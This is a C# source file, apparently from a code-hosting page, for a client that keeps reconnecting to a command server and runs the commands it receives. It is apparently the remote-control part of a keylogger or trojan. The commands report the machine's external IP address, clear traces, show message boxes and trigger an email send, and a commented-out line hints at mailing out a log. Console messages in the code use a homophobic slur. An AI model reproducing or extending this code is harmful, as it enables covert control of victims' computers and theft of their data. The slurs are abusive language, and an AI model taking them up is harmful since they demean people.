/
Client.cs
167 lines (146 loc) · 5 KB
/
Client.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Threading;
using System.Net;
using System.Net.Sockets;
using System.Windows.Forms;
using System.Net.NetworkInformation;
using System.Text.RegularExpressions;
namespace ConsoleApplication1
{
public class ClientThread
{
public enum Messages : byte{
ping=0,
sendData=1
}
public bool IsConnected()
{
IPGlobalProperties ipProperties = IPGlobalProperties.GetIPGlobalProperties();
TcpConnectionInformation[] tcpConnections = ipProperties.GetActiveTcpConnections().Where(x => x.LocalEndPoint.Equals(client.Client.LocalEndPoint) && x.RemoteEndPoint.Equals(client.Client.RemoteEndPoint)).ToArray();
if (tcpConnections != null && tcpConnections.Length > 0)
{
TcpState stateOfConnection = tcpConnections.First().State;
if (stateOfConnection == TcpState.Established)
{
// Connection is OK
return true;
}
else
{
// No active tcp Connection to hostName:port
return false;
}
}
else
{
return false;
}
}
public async Task connect(string ip, int port,TcpClient client)
{
try
{
await client.ConnectAsync(ip, port);
//WriteData(Encoding.ASCII.GetBytes("SENDDATA EMAILLOG 0"));
Console.WriteLine("Oi oi, we connected faggot");
}
catch
{
//connect(ip, port, client);
}
}
public static string ip = "127.0.0.1";
public static int port = 8888;
public TcpClient client=new TcpClient();
public ClientThread()
{
Task.Run(() =>
{
StartConnectingAsync();
});
}
public async Task StartConnectingAsync(){
while (true)
{
try
{
if (!IsConnected())
{
client = new TcpClient();
await connect(ip, port, client);
}
NetworkStream stream = client.GetStream();
byte[] data = new Byte[100];
if (stream.DataAvailable)
{
await stream.ReadAsync(data, 0, 100);
var str = System.Text.Encoding.Default.GetString(data);
console(str);
//consoleByte(data);
}
stream.Flush();
}
catch
{
//connect(ip, port, client);
}
}
}
public void consoleByte(byte[] data){
switch(data[0]){
case 0:
WriteData(new byte[]{0});
break;
default:
break;
}
}
public void console(string str)
{
string[] command = str.Split(" ".ToCharArray());
switch (command[0]) {
case "CLEARTRACE":
Program.ClearTrace();
break;
case "SHOWMESSAGEBOX":
command[0] = "";
MessageBox.Show(String.Join(" ",command));
break;
default:
if (command[0].Contains("CLEAR"))
{
Program.ClearTrace();
Console.WriteLine(command[0]);
}
else if (command[0].Contains("IP"))
{
string externalIP1 = "error";
try
{
externalIP1 = (new WebClient()).DownloadString("http://checkip.dyndns.org/");
externalIP1 = (new Regex(@"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}"))
.Matches(externalIP1)[0].ToString();
}
catch { }
WriteData(Encoding.ASCII.GetBytes(externalIP1));
}
else if (command[0].Contains("EMAIL"))
{
Program.SendEmail();
WriteData(Encoding.ASCII.GetBytes("Email Sent Faggot!"));
}
Console.WriteLine(str);
break;
}
}
public void WriteData(byte[] data)
{
NetworkStream stream = client.GetStream();
stream.Write(data, 0, data.Length);
}
}
}